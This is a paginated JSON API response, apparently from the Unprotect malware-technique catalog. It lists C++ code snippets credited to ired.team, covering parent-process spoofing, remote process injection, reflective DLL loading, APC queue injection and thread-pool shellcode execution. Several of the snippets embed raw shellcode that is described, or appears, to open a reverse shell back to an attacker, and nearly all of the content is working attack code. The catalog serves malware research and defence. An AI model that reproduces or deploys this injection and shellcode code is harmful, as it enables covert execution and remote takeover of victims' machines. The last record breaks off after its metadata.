GET /api/snippets/?format=api&page=4
HTTP 200 OK
Allow: GET, POST, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "count": 237,
    "next": "https://unprotect.it/api/snippets/?format=api&page=5",
    "previous": "https://unprotect.it/api/snippets/?format=api&page=3",
    "results": [
        {
            "id": 85,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/173/?format=api",
            "description": "Original Source code: https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing",
            "plain_code": "#include <windows.h>\r\n#include <TlHelp32.h>\r\n#include <iostream>\r\n\r\nint main() \r\n{\r\n\tSTARTUPINFOEXA si;\r\n\tPROCESS_INFORMATION pi;\r\n\tSIZE_T attributeSize;\r\n\tZeroMemory(&si, sizeof(STARTUPINFOEXA));\r\n\t\r\n\tHANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);\r\n\r\n\tInitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);\r\n\tsi.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);\r\n\tInitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);\r\n\tUpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);\r\n\tsi.StartupInfo.cb = sizeof(STARTUPINFOEXA);\r\n\r\n\tCreateProcessA(NULL, (LPSTR)\"notepad\", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);\r\n\r\n\treturn 0;\r\n}"
        },
        {
            "id": 86,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/118/?format=api",
            "description": "The below code will inject the shellcode into a notepad.exe process with PID 5428 which will initiate a reverse shell back to the attacker. \r\nOriginal source code: https://www.ired.team/offensive-security/code-injection-process-injection/process-injection",
            "plain_code": "#include \"stdafx.h\"\r\n#include \"Windows.h\"\r\n\r\nint main(int argc, char *argv[])\r\n{\r\n\tunsigned char shellcode[] =\r\n\t\t\"\\x48\\x31\\xc9\\x48\\x81\\xe9\\xc6\\xff\\xff\\xff\\x48\\x8d\\x05\\xef\\xff\"\r\n\t\t\"\\xff\\xff\\x48\\xbb\\x1d\\xbe\\xa2\\x7b\\x2b\\x90\\xe1\\xec\\x48\\x31\\x58\"\r\n\t\t\"\\x27\\x48\\x2d\\xf8\\xff\\xff\\xff\\xe2\\xf4\\xe1\\xf6\\x21\\x9f\\xdb\\x78\"\r\n\t\t\"\\x21\\xec\\x1d\\xbe\\xe3\\x2a\\x6a\\xc0\\xb3\\xbd\\x4b\\xf6\\x93\\xa9\\x4e\"\r\n\t\t\"\\xd8\\x6a\\xbe\\x7d\\xf6\\x29\\x29\\x33\\xd8\\x6a\\xbe\\x3d\\xf6\\x29\\x09\"\r\n\t\t\"\\x7b\\xd8\\xee\\x5b\\x57\\xf4\\xef\\x4a\\xe2\\xd8\\xd0\\x2c\\xb1\\x82\\xc3\"\r\n\t\t\"\\x07\\x29\\xbc\\xc1\\xad\\xdc\\x77\\xaf\\x3a\\x2a\\x51\\x03\\x01\\x4f\\xff\"\r\n\t\t\"\\xf3\\x33\\xa0\\xc2\\xc1\\x67\\x5f\\x82\\xea\\x7a\\xfb\\x1b\\x61\\x64\\x1d\"\r\n\t\t\"\\xbe\\xa2\\x33\\xae\\x50\\x95\\x8b\\x55\\xbf\\x72\\x2b\\xa0\\xd8\\xf9\\xa8\"\r\n\t\t\"\\x96\\xfe\\x82\\x32\\x2a\\x40\\x02\\xba\\x55\\x41\\x6b\\x3a\\xa0\\xa4\\x69\"\r\n\t\t\"\\xa4\\x1c\\x68\\xef\\x4a\\xe2\\xd8\\xd0\\x2c\\xb1\\xff\\x63\\xb2\\x26\\xd1\"\r\n\t\t\"\\xe0\\x2d\\x25\\x5e\\xd7\\x8a\\x67\\x93\\xad\\xc8\\x15\\xfb\\x9b\\xaa\\x5e\"\r\n\t\t\"\\x48\\xb9\\xa8\\x96\\xfe\\x86\\x32\\x2a\\x40\\x87\\xad\\x96\\xb2\\xea\\x3f\"\r\n\t\t\"\\xa0\\xd0\\xfd\\xa5\\x1c\\x6e\\xe3\\xf0\\x2f\\x18\\xa9\\xed\\xcd\\xff\\xfa\"\r\n\t\t\"\\x3a\\x73\\xce\\xb8\\xb6\\x5c\\xe6\\xe3\\x22\\x6a\\xca\\xa9\\x6f\\xf1\\x9e\"\r\n\t\t\"\\xe3\\x29\\xd4\\x70\\xb9\\xad\\x44\\xe4\\xea\\xf0\\x39\\x79\\xb6\\x13\\xe2\"\r\n\t\t\"\\x41\\xff\\x32\\x95\\xe7\\x92\\xde\\x42\\x8d\\x90\\x7b\\x2b\\xd1\\xb7\\xa5\"\r\n\t\t\"\\x94\\x58\\xea\\xfa\\xc7\\x30\\xe0\\xec\\x1d\\xf7\\x2b\\x9e\\x62\\x2c\\xe3\"\r\n\t\t\"\\xec\\x1c\\x05\\xa8\\x7b\\x2b\\x95\\xa0\\xb8\\x54\\x37\\x46\\x37\\xa2\\x61\"\r\n\t\t\"\\xa0\\x56\\x51\\xc9\\x84\\x7c\\xd4\\x45\\xad\\x65\\xf7\\xd6\\xa3\\x7a\\x2b\"\r\n\t\t\"\\x90\\xb8\\xad\\xa7\\x97\\x22\\x10\\x2b\\x6f\\x34\\xbc\\x4d\\xf3\\x93\\xb2\"\r\n\t\t\"\\x66\\xa1\\x21\\xa4\\xe2\\x7e\\xea\\xf2\\xe9\\xd8\\x1e\\x2c\\x55\\x37\\x63\"\r\n\t\t\"\\x3a\\x91\\x7a\\xee\\x33\\xfd\\x41\\x77\\x33\\xa2\\x57\\x8b\\xfc\\x5c\\xe6\"\r\n\t\t\"\\xee\\xf2\\xc9\\xd8\\x68\\x15\\x5c\\x04\\x3b\\xde\\x5f\\xf1\\x1e\\x39\\x55\"\r\n\t\t\"\\x3f\\x66\\x3b\\x29\\x90\\xe1\\xa5\\xa5\\xdd\\xcf\\x1f\\x2b\\x90\\xe1\\xec\"\r\n\t\t\"\\x1d\\xff\\xf2\\x3a\\x7b\\xd8\\x68\\x0e\\x4a\\xe9\\xf5\\x36\\x1a\\x50\\x8b\"\r\n\t\t\"\\xe1\\x44\\xff\\xf2\\x99\\xd7\\xf6\\x26\\xa8\\x39\\xea\\xa3\\x7a\\x63\\x1d\"\r\n\t\t\"\\xa5\\xc8\\x05\\x78\\xa2\\x13\\x63\\x19\\x07\\xba\\x4d\\xff\\xf2\\x3a\\x7b\"\r\n\t\t\"\\xd1\\xb1\\xa5\\xe2\\x7e\\xe3\\x2b\\x62\\x6f\\x29\\xa1\\x94\\x7f\\xee\\xf2\"\r\n\t\t\"\\xea\\xd1\\x5b\\x95\\xd1\\x81\\x24\\x84\\xfe\\xd8\\xd0\\x3e\\x55\\x41\\x68\"\r\n\t\t\"\\xf0\\x25\\xd1\\x5b\\xe4\\x9a\\xa3\\xc2\\x84\\xfe\\x2b\\x11\\x59\\xbf\\xe8\"\r\n\t\t\"\\xe3\\xc1\\x8d\\x05\\x5c\\x71\\xe2\\x6b\\xea\\xf8\\xef\\xb8\\xdd\\xea\\x61\"\r\n\t\t\"\\xb4\\x22\\x80\\xcb\\xe5\\xe4\\x57\\x5a\\xad\\xd0\\x14\\x41\\x90\\xb8\\xad\"\r\n\t\t\"\\x94\\x64\\x5d\\xae\\x2b\\x90\\xe1\\xec\";\r\n\r\n\tHANDLE processHandle;\r\n\tHANDLE remoteThread;\r\n\tPVOID remoteBuffer;\r\n\r\n\tprintf(\"Injecting to PID: %i\", atoi(argv[1]));\r\n\tprocessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));\r\n\tremoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);\r\n\tWriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);\r\n\tremoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);\r\n\tCloseHandle(processHandle);\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 87,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/110/?format=api",
            "description": "Original source: https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection",
            "plain_code": "#include \"pch.h\"\r\n#include <iostream>\r\n#include <Windows.h>\r\n\r\ntypedef struct BASE_RELOCATION_BLOCK {\r\n\tDWORD PageAddress;\r\n\tDWORD BlockSize;\r\n} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;\r\n\r\ntypedef struct BASE_RELOCATION_ENTRY {\r\n\tUSHORT Offset : 12;\r\n\tUSHORT Type : 4;\r\n} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;\r\n\r\nusing DLLEntry = BOOL(WINAPI *)(HINSTANCE dll, DWORD reason, LPVOID reserved);\r\n\r\nint main()\r\n{\r\n\t// get this module's image base address\r\n\tPVOID imageBase = GetModuleHandleA(NULL);\r\n\r\n\t// load DLL into memory\r\n\tHANDLE dll = CreateFileA(\"\\\\\\\\VBOXSVR\\\\Experiments\\\\MLLoader\\\\MLLoader\\\\x64\\\\Debug\\\\dll.dll\", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);\r\n\tDWORD64 dllSize = GetFileSize(dll, NULL);\r\n\tLPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);\r\n\tDWORD outSize = 0; \r\n\tReadFile(dll, dllBytes, dllSize, &outSize, NULL);\r\n\r\n\t// get pointers to in-memory DLL headers\r\n\tPIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;\r\n\tPIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew);\r\n\tSIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;\r\n\r\n\t// allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere\r\n\t//LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\tLPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\t\t\t\r\n\t// get delta between this module's image base and the DLL that was read into memory\r\n\tDWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;\r\n\r\n\t// copy over DLL image headers to the newly allocated space for the DLL\r\n\tstd::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);\r\n\r\n\t// copy over DLL image sections to the newly allocated space for the DLL\r\n\tPIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);\r\n\tfor (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)\r\n\t{\r\n\t\tLPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);\r\n\t\tLPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);\r\n\t\tstd::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData);\r\n\t\tsection++;\r\n\t}\r\n\r\n\t// perform image base relocations\r\n\tIMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];\r\n\tDWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;\r\n\tDWORD relocationsProcessed = 0;\r\n\r\n\twhile (relocationsProcessed < relocations.Size) \r\n\t{\r\n\t\tPBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);\r\n\t\trelocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);\r\n\t\tDWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);\r\n\t\tPBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);\r\n\r\n\t\tfor (DWORD i = 0; i < relocationsCount; i++)\r\n\t\t{\r\n\t\t\trelocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);\r\n\r\n\t\t\tif (relocationEntries[i].Type == 0)\r\n\t\t\t{\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\r\n\t\t\tDWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;\r\n\t\t\tDWORD_PTR addressToPatch = 0;\r\n\t\t\tReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);\r\n\t\t\taddressToPatch += deltaImageBase;\r\n\t\t\tstd::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));\r\n\t\t}\r\n\t}\r\n\t\r\n\t// resolve import address table\r\n\tPIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;\r\n\tIMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];\r\n\timportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);\r\n\tLPCSTR libraryName = \"\";\r\n\tHMODULE library = NULL;\r\n\r\n\twhile (importDescriptor->Name != NULL)\r\n\t{\r\n\t\tlibraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;\r\n\t\tlibrary = LoadLibraryA(libraryName);\r\n\t\t\r\n\t\tif (library)\r\n\t\t{\r\n\t\t\tPIMAGE_THUNK_DATA thunk = NULL;\r\n\t\t\tthunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);\r\n\r\n\t\t\twhile (thunk->u1.AddressOfData != NULL)\r\n\t\t\t{\r\n\t\t\t\tif (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))\r\n\t\t\t\t{\r\n\t\t\t\t\tLPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);\r\n\t\t\t\t\tthunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tPIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);\r\n\t\t\t\t\tDWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);\r\n\t\t\t\t\tthunk->u1.Function = functionAddress;\r\n\t\t\t\t}\r\n\t\t\t\t++thunk;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\timportDescriptor++;\r\n\t}\r\n\r\n\t// execute the loaded DLL\r\n\tDLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);\r\n\t(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);\r\n\r\n\tCloseHandle(dll);\r\n\tHeapFree(GetProcessHeap(), 0, dllBytes);\r\n\r\n\treturn 0;\r\n}"
        },
        {
            "id": 88,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/113/?format=api",
            "description": "Original source: https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection",
            "plain_code": "#include \"pch.h\"\r\n#include <iostream>\r\n#include <Windows.h>\r\n#include <TlHelp32.h>\r\n#include <vector>\r\n\r\nint main()\r\n{\r\n\tunsigned char buf[] = \"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xcc\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x66\\x81\\x78\\x18\\x0b\\x02\\x0f\\x85\\x72\\x00\\x00\\x00\\x8b\\x80\\x88\\x00\\x00\\x00\\x48\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b\\x12\\xe9\\x4b\\xff\\xff\\xff\\x5d\\x49\\xbe\\x77\\x73\\x32\\x5f\\x33\\x32\\x00\\x00\\x41\\x56\\x49\\x89\\xe6\\x48\\x81\\xec\\xa0\\x01\\x00\\x00\\x49\\x89\\xe5\\x49\\xbc\\x02\\x00\\x01\\xbb\\x0a\\x00\\x00\\x05\\x41\\x54\\x49\\x89\\xe4\\x4c\\x89\\xf1\\x41\\xba\\x4c\\x77\\x26\\x07\\xff\\xd5\\x4c\\x89\\xea\\x68\\x01\\x01\\x00\\x00\\x59\\x41\\xba\\x29\\x80\\x6b\\x00\\xff\\xd5\\x6a\\x0a\\x41\\x5e\\x50\\x50\\x4d\\x31\\xc9\\x4d\\x31\\xc0\\x48\\xff\\xc0\\x48\\x89\\xc2\\x48\\xff\\xc0\\x48\\x89\\xc1\\x41\\xba\\xea\\x0f\\xdf\\xe0\\xff\\xd5\\x48\\x89\\xc7\\x6a\\x10\\x41\\x58\\x4c\\x89\\xe2\\x48\\x89\\xf9\\x41\\xba\\x99\\xa5\\x74\\x61\\xff\\xd5\\x85\\xc0\\x74\\x0a\\x49\\xff\\xce\\x75\\xe5\\xe8\\x93\\x00\\x00\\x00\\x48\\x83\\xec\\x10\\x48\\x89\\xe2\\x4d\\x31\\xc9\\x6a\\x04\\x41\\x58\\x48\\x89\\xf9\\x41\\xba\\x02\\xd9\\xc8\\x5f\\xff\\xd5\\x83\\xf8\\x00\\x7e\\x55\\x48\\x83\\xc4\\x20\\x5e\\x89\\xf6\\x6a\\x40\\x41\\x59\\x68\\x00\\x10\\x00\\x00\\x41\\x58\\x48\\x89\\xf2\\x48\\x31\\xc9\\x41\\xba\\x58\\xa4\\x53\\xe5\\xff\\xd5\\x48\\x89\\xc3\\x49\\x89\\xc7\\x4d\\x31\\xc9\\x49\\x89\\xf0\\x48\\x89\\xda\\x48\\x89\\xf9\\x41\\xba\\x02\\xd9\\xc8\\x5f\\xff\\xd5\\x83\\xf8\\x00\\x7d\\x28\\x58\\x41\\x57\\x59\\x68\\x00\\x40\\x00\\x00\\x41\\x58\\x6a\\x00\\x5a\\x41\\xba\\x0b\\x2f\\x0f\\x30\\xff\\xd5\\x57\\x59\\x41\\xba\\x75\\x6e\\x4d\\x61\\xff\\xd5\\x49\\xff\\xce\\xe9\\x3c\\xff\\xff\\xff\\x48\\x01\\xc3\\x48\\x29\\xc6\\x48\\x85\\xf6\\x75\\xb4\\x41\\xff\\xe7\\x58\\x6a\\x00\\x59\\x49\\xc7\\xc2\\xf0\\xb5\\xa2\\x56\\xff\\xd5\";\r\n\r\n\tHANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);\r\n\tHANDLE victimProcess = NULL;\r\n\tPROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };\r\n\tTHREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };\r\n\tstd::vector<DWORD> threadIds;\r\n\tSIZE_T shellSize = sizeof(buf);\r\n\tHANDLE threadHandle = NULL;\r\n\r\n\tif (Process32First(snapshot, &processEntry)) {\r\n\t\twhile (_wcsicmp(processEntry.szExeFile, L\"explorer.exe\") != 0) {\r\n\t\t\tProcess32Next(snapshot, &processEntry);\r\n\t\t}\r\n\t}\r\n\t\r\n\tvictimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);\r\n\tLPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\tPTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;\r\n\tWriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);\r\n\r\n\tif (Thread32First(snapshot, &threadEntry)) {\r\n\t\tdo {\r\n\t\t\tif (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {\r\n\t\t\t\tthreadIds.push_back(threadEntry.th32ThreadID);\r\n\t\t\t}\r\n\t\t} while (Thread32Next(snapshot, &threadEntry));\r\n\t}\r\n\t\r\n\tfor (DWORD threadId : threadIds) {\r\n\t\tthreadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);\r\n\t\tQueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);\r\n\t\tSleep(1000 * 2);\r\n\t}\r\n\t\r\n\treturn 0;\r\n}"
        },
        {
            "id": 89,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/181/?format=api",
            "description": "Original source code: https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait\r\n\r\nThe first thing the code does is allocate read-write-execute (RWX) memory for the shellcode using the `VirtualAlloc` function. This memory will be used to store the shellcode and execute it. Next, the code uses the `CreateThreadpoolWait` function to create a wait object and specify the address of the shellcode as the callback function. The code then uses the `SetThreadpoolWait` function to set the wait object created in the previous step. Finally, the code uses the `WaitForSingleObject` function to wait for the wait object to become signaled. When the wait object is signaled, the callback function (which contains the shellcode) is executed.",
            "plain_code": "#include <windows.h>\r\n#include <threadpoolapiset.h>\r\n\r\nunsigned char shellcode[] = \r\n\"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\"\r\n\"\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52\\x18\\x48\"\r\n\"\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a\\x4d\\x31\\xc9\"\r\n\"\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41\\xc1\\xc9\\x0d\\x41\"\r\n\"\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52\\x20\\x8b\\x42\\x3c\\x48\"\r\n\"\\x01\\xd0\\x8b\\x80\\x88\\x00\\x00\\x00\\x48\\x85\\xc0\\x74\\x67\\x48\\x01\"\r\n\"\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\"\r\n\"\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\"\r\n\"\\xac\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\"\r\n\"\\x24\\x08\\x45\\x39\\xd1\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\"\r\n\"\\x66\\x41\\x8b\\x0c\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\"\r\n\"\\x88\\x48\\x01\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\"\r\n\"\\x41\\x5a\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\"\r\n\"\\x8b\\x12\\xe9\\x57\\xff\\xff\\xff\\x5d\\x49\\xbe\\x77\\x73\\x32\\x5f\\x33\"\r\n\"\\x32\\x00\\x00\\x41\\x56\\x49\\x89\\xe6\\x48\\x81\\xec\\xa0\\x01\\x00\\x00\"\r\n\"\\x49\\x89\\xe5\\x49\\xbc\\x02\\x00\\x01\\xbb\\xc0\\xa8\\x38\\x66\\x41\\x54\"\r\n\"\\x49\\x89\\xe4\\x4c\\x89\\xf1\\x41\\xba\\x4c\\x77\\x26\\x07\\xff\\xd5\\x4c\"\r\n\"\\x89\\xea\\x68\\x01\\x01\\x00\\x00\\x59\\x41\\xba\\x29\\x80\\x6b\\x00\\xff\"\r\n\"\\xd5\\x50\\x50\\x4d\\x31\\xc9\\x4d\\x31\\xc0\\x48\\xff\\xc0\\x48\\x89\\xc2\"\r\n\"\\x48\\xff\\xc0\\x48\\x89\\xc1\\x41\\xba\\xea\\x0f\\xdf\\xe0\\xff\\xd5\\x48\"\r\n\"\\x89\\xc7\\x6a\\x10\\x41\\x58\\x4c\\x89\\xe2\\x48\\x89\\xf9\\x41\\xba\\x99\"\r\n\"\\xa5\\x74\\x61\\xff\\xd5\\x48\\x81\\xc4\\x40\\x02\\x00\\x00\\x49\\xb8\\x63\"\r\n\"\\x6d\\x64\\x00\\x00\\x00\\x00\\x00\\x41\\x50\\x41\\x50\\x48\\x89\\xe2\\x57\"\r\n\"\\x57\\x57\\x4d\\x31\\xc0\\x6a\\x0d\\x59\\x41\\x50\\xe2\\xfc\\x66\\xc7\\x44\"\r\n\"\\x24\\x54\\x01\\x01\\x48\\x8d\\x44\\x24\\x18\\xc6\\x00\\x68\\x48\\x89\\xe6\"\r\n\"\\x56\\x50\\x41\\x50\\x41\\x50\\x41\\x50\\x49\\xff\\xc0\\x41\\x50\\x49\\xff\"\r\n\"\\xc8\\x4d\\x89\\xc1\\x4c\\x89\\xc1\\x41\\xba\\x79\\xcc\\x3f\\x86\\xff\\xd5\"\r\n\"\\x48\\x31\\xd2\\x48\\xff\\xca\\x8b\\x0e\\x41\\xba\\x08\\x87\\x1d\\x60\\xff\"\r\n\"\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\\x41\\xba\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x48\"\r\n\"\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0\\x75\\x05\\xbb\\x47\\x13\"\r\n\"\\x72\\x6f\\x6a\\x00\\x59\\x41\\x89\\xda\\xff\\xd5\";\r\n\r\n\r\nint main()\r\n{\r\n\tHANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);\r\n\tLPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\tRtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));\r\n\r\n\tPTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);\r\n\tSetThreadpoolWait(threadPoolWait, event, NULL);\r\n\tWaitForSingleObject(event, INFINITE);\r\n\t\r\n\treturn 0;\r\n}"
        },
        {
            "id": 90,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/117/?format=api",
